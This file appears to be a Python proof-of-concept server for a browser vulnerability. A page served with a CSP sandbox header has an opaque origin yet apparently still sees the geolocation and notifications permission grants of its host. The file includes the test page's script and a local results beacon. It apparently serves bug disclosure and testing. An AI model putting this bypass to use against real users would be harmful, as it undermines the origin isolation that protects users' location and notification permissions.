#!/usr/bin/env python3
"""
HTTP server for CSP-sandbox permission origin bypass POC.

Serves three endpoints:
  /              - Non-sandboxed page that requests geolocation (to establish a grant)
  /sandboxed     - SAME content but with `Content-Security-Policy: sandbox allow-scripts`
                   header. The page has an OPAQUE origin (origin === "null") yet
                   navigator.permissions.query({name:'geolocation'}) returns "granted"
                   because the browser falls back to GetVisibleURL() for the lookup key.
  /log           - Receives JSON beacons from the page (since console output from
                   sandboxed iframes/docs can be hard to capture).
  /results.json  - Returns all logged results.

Listens on 127.0.0.1:8080 only.
"""
import http.server
import json
import socketserver
import sys
import threading
from urllib.parse import urlparse

PORT = 8080
HOST = "127.0.0.1"

# Shared log buffer for /log beacons
_log_lock = threading.Lock()
_log_entries = []

PAGE_BODY = b"""<!DOCTYPE html>
<html>
<head><title>CSP Sandbox Permission Bypass POC</title></head>
<body>
<h1 id="title">Loading...</h1>
<pre id="out" style="background:#eee;padding:10px;font-size:14px"></pre>
<script>
(async () => {
  const out = document.getElementById('out');
  const title = document.getElementById('title');
  const log = (msg) => {
    out.textContent += msg + '\\n';
    console.log('[POC-PAGE] ' + msg);
  };

  // Detect whether we're the sandboxed variant by checking our origin.
  // CSP `sandbox` (without allow-same-origin) gives an opaque origin -> "null".
  const isSandboxed = (origin === 'null');
  title.textContent = isSandboxed
    ? 'SANDBOXED page (CSP: sandbox allow-scripts)'
    : 'NON-SANDBOXED page (control)';

  log('document.location.href = ' + document.location.href);
  log('window.origin          = ' + JSON.stringify(origin));
  log('self.isSecureContext   = ' + self.isSecureContext);
  log('---');

  // Query the permission state. This goes to the browser process via
  // PermissionService -> PermissionControllerImpl -> PermissionManager
  // -> GetPermissionResultForCurrentDocument -> GetLastCommittedOriginAsURL.
  //
  // In the sandboxed case, GetLastCommittedOrigin() is OPAQUE so .GetURL()
  // is empty, and the function falls back to GetVisibleURL() = our http URL.
  // The lookup is then done against (localhost:8080, localhost:8080) instead
  // of being denied for the opaque origin.
  let permState = 'ERROR';
  try {
    const status = await navigator.permissions.query({name: 'geolocation'});
    permState = status.state;
    log('navigator.permissions.query({name:"geolocation"}).state = ' +
        JSON.stringify(permState));
  } catch (e) {
    log('permissions.query threw: ' + e);
  }

  // Also try notifications (same delegation mode).
  let notifState = 'ERROR';
  try {
    const status = await navigator.permissions.query({name: 'notifications'});
    notifState = status.state;
    log('navigator.permissions.query({name:"notifications"}).state = ' +
        JSON.stringify(notifState));
  } catch (e) {
    log('notifications query threw: ' + e);
  }

  log('---');

  // Verdict.
  let verdict;
  if (isSandboxed && permState === 'granted') {
    verdict = '*** BUG CONFIRMED ***  origin is "null" (opaque) but ' +
              'geolocation permission state is "granted". The CSP sandbox ' +
              'boundary has been bypassed: this opaque-origin document is ' +
              'reusing the permission grant for ' + document.location.host + '.';
    log(verdict);
    title.style.color = 'red';
  } else if (isSandboxed && permState === 'prompt') {
    verdict = 'PARTIAL: origin is "null" but permission state is "prompt" ' +
              '(not "denied"). The browser is willing to prompt for an ' +
              'opaque-origin document using the host origin -- check the ' +
              'browser-process [POC] log lines for the fallback firing.';
    log(verdict);
    title.style.color = 'orange';
  } else if (isSandboxed) {
    verdict = 'Sandboxed page got permission state: ' + permState;
    log(verdict);
  } else {
    verdict = 'Control page (not sandboxed). Permission state: ' + permState +
              '. Now navigate to /sandboxed to see the bypass.';
    log(verdict);
  }

  // Beacon results back to the server so they appear in stdout / results.json.
  // Note: a sandboxed document CAN fetch -- it just sends Origin: null.
  // We accept that on the server.
  const payload = {
    href: document.location.href,
    origin: origin,
    isSecureContext: self.isSecureContext,
    sandboxed: isSandboxed,
    geolocation_state: permState,
    notifications_state: notifState,
    verdict: verdict,
  };
  try {
    await fetch('/log', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      // mode 'no-cors' so the opaque-origin sandboxed page can still send.
      mode: 'no-cors',
      body: JSON.stringify(payload),
    });
  } catch (e) {
    log('beacon failed: ' + e);
  }
})();
</script>
</body>
</html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("[server] %s\n" % (fmt % args))

    def do_GET(self):
        path = urlparse(self.path).path

        if path in ("/", "/index.html", "/grant", "/grant.html"):
            # Non-sandboxed control page.
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAGE_BODY)
            return

        if path in ("/sandboxed", "/sandboxed.html"):
            # The vulnerable case: top-level document served with CSP sandbox.
            # Per HTML spec, `sandbox` without `allow-same-origin` commits
            # an OPAQUE origin. allow-scripts is needed so our payload runs.
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Security-Policy",
                             "sandbox allow-scripts")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAGE_BODY)
            return

        if path == "/results.json":
            with _log_lock:
                body = json.dumps(_log_entries, indent=2).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(body)
            return

        self.send_response(404)
        self.end_headers()

    def do_POST(self):
        path = urlparse(self.path).path
        if path == "/log":
            length = int(self.headers.get("Content-Length", "0"))
            raw = self.rfile.read(length)
            try:
                entry = json.loads(raw.decode("utf-8"))
            except Exception:
                entry = {"raw": raw.decode("utf-8", "replace")}
            with _log_lock:
                _log_entries.append(entry)
            print("=" * 70, flush=True)
            print("[POC-BEACON] " + json.dumps(entry, indent=2), flush=True)
            print("=" * 70, flush=True)
            self.send_response(204)
            # Allow the sandboxed (Origin: null) page to POST.
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            return
        self.send_response(404)
        self.end_headers()

    def do_OPTIONS(self):
        self.send_response(204)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()


def main():
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer((HOST, PORT), Handler) as httpd:
        print(f"[server] Listening on http://{HOST}:{PORT}", flush=True)
        print(f"[server]   Control page (non-sandboxed): http://{HOST}:{PORT}/",
              flush=True)
        print(f"[server]   Sandboxed page (CSP sandbox): http://{HOST}:{PORT}/sandboxed",
              flush=True)
        print(f"[server]   Results JSON:                 http://{HOST}:{PORT}/results.json",
              flush=True)
        httpd.serve_forever()


if __name__ == "__main__":
    main()
